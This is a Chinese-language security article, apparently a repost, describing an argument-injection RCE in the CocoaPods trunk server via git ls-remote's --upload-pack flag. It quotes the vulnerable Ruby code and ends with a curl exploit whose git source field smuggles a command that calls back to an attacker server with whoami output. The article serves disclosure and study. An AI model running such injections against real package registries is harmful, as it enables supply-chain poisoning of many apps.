通过CocoaPods漏洞一次入侵数百万个应用程序

Posted SecTr安全团队

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了通过CocoaPods漏洞一次入侵数百万个应用程序相关的知识,希望对你有一定的参考价值。

点击上方 蓝字 关注我们


通过CocoaPods漏洞一次入侵数百万个应用程序


概述


CocoaPods是许多ios,以及其他Swift和Objective-C Cocoa应用程序所使用的流行软件包管理器。


研究人员在托管Specs repo密钥的CocoaPods中央服务器中,发现了一个远程代码执行漏洞,该漏洞允许攻击者毒害任意软件包下载,可能会影响多达300万个使用CocoaPods依赖项管理器的移动应用程序。


漏洞详情


研究人员对Signal iOS应用程序的源代码进行审计,以查找其中可能存在的漏洞。在源代码中,研究人员注意到Podfile文件中列出了Signal的CocoaPods依赖关系。此时,研究人员脑海中突然灵光一现,想到如果找到CocoaPods中央服务器中的漏洞,将可以劫持所有使用CocoaPods的应用程序,而不仅仅是Signal,何乐而不为呢?


将包规范上传到CocoaPods时,它将通过以下方式确保用户不会意外链接到私有存储库:


def validate_git # We've had trouble with Heroku's git install, see trunk.cocoapods.org/pull/141 url = @specification.source[:git] return true unless url.include?('github.com') || url.include?('bitbucket.org')
ref = @specification.source[:tag] || @specification.source[:commit] || @specification.source[:branch] || 'HEAD' wrap_timeout { system('git', 'ls-remote', @specification.source[:git], ref.to_s) }end


然而,该代码中存在几个问题。最严重的一个问题是攻击者拥有对@specification.source[:git]ref.to_s的完全控制,因此可以使用它将标志传递给gitgit ls-remote采用可选标志--upload-pack,该标志用于评估其在shell中的内容。因此如果@specification.source[:git]等于--ls-remote="$(echo THIS WAS PROBABLY UNEXPECTED)" github.com,且ref.to_s被解释为本地存储库,那么我们将可以在CocoaPods服务器上执行任意命令。


漏洞利用程序:


curl -X POST -H "Content-Type: application/json" -H 'Authorization: Token MY_AUTH_TOKEN' "https://trunk.cocoapods.org/api/v1/pods" --data '{"source":{"git":"--upload-pack=\"$(curl my-server:4775/`whoami`)\" https://github.com/","tag":"1.0.0"}}'



END




好文!必须在看

以上是关于通过CocoaPods漏洞一次入侵数百万个应用程序的主要内容,如果未能解决你的问题,请参考以下文章

利用 CocoaPods 服务器中的一个 RCE 漏洞,投毒数百万款app

Booking.com如何在毫秒内搜索数百万个地点

在 OpenGL 中实例化数百万个对象

在 SQL Server 中存储数百万个 100kb 的 PDF

批量地理定位数百万个 IP

比较数百万个 mongoDB 记录中的变化的最佳方法